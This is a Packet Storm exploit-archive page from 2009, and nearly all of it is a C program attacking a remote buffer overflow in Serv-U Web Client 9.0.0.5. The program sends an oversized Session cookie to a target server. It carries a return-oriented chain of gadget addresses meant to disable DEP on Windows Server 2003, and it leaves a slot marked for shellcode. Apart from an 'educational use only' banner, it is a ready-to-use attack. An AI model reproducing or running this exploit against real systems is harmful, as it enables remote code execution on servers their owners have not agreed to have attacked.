what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Serv-U Web Client 9.0.0.5 Buffer Overflow

Serv-U Web Client 9.0.0.5 Buffer Overflow
Posted Nov 5, 2009
Authored by Megumi Yanagishita

Remote buffer overflow exploit for the Serv-U web client version 9.0.0.5.

tags | exploit, remote, web, overflow
SHA-256 | 8dc1389fcf83400effd619fdd1bb11bcf250e1f0e262650d97d8a4dad508d509

Serv-U Web Client 9.0.0.5 Buffer Overflow

Change Mirror Download
/*
!!!FOR EDUCATIONAL USE ONLY!!!
M.Yanagishita Nov 2, 2009
!!!FOR EDUCATIONAL USE ONLY!!!
*/
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

#define Die(a) if(a){return;}

char request[] =
"POST / HTTP/1.1\r\nHost: %s\r\nCookie: killmenothing; SULang=de%%2CDE; themename=vista;"
" Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb9507545814%s\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\nContent-Length: 0\r\n\r\n";

void main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET s;
struct hostent *he;
struct sockaddr_in host;
int len, sent, r;
char *buf = new char[120000];
char *payload = new char[100000];

Die(argc<3);
Die(WSAStartup(0x0101,&wsaData) != 0);
Die((he = gethostbyname(argv[1])) == 0);

host.sin_port = htons(atoi(argv[2]));
host.sin_family = AF_INET;
host.sin_addr = *((struct in_addr *)he->h_addr);

Die((s = socket(2, 1, 6)) == -1);
Die((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1);


memset(payload, 'C', 99999);
memcpy(payload+(41000-62)*2+20, "4928b00f", 8); //add esp, 0x??? + ret

//Bypass DEP in Win2k3 R2 SP2 Full Patched
memcpy(payload + 0, "961ea378", 8); //[mfc90u.dll] pop esi + ret
memcpy(payload + 8, "00020100", 8); //esi <= 00010200 RW
memcpy(payload + 16, "99aea478", 8); //[mfc90u.dll] push esp + pop ebp + ret 0c
memcpy(payload + 24, "87e9a378", 8); //[mfc90u.dll] ret 20
memcpy(payload + 32, "53c7b278", 8); //[mfc90u.dll] jmp esp
memcpy(payload + 40, "47f5837c", 8); //[ntdll.dll] disable DEP, 0x7c98f547 for JP Win2k3

//Shellcode here :>
memcpy(payload+48, "ebfe", 4);

payload[99999]=0;
sprintf(buf, request, argv[1], payload);

len = strlen(buf);
sent = 0;
r = send(s, buf, len, 0);
sent += r;
while(sent < len)
{
r = send(s, buf+sent, len-sent, 0);
Die(r <= 0);
sent += r;
}
closesocket(s);

}
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close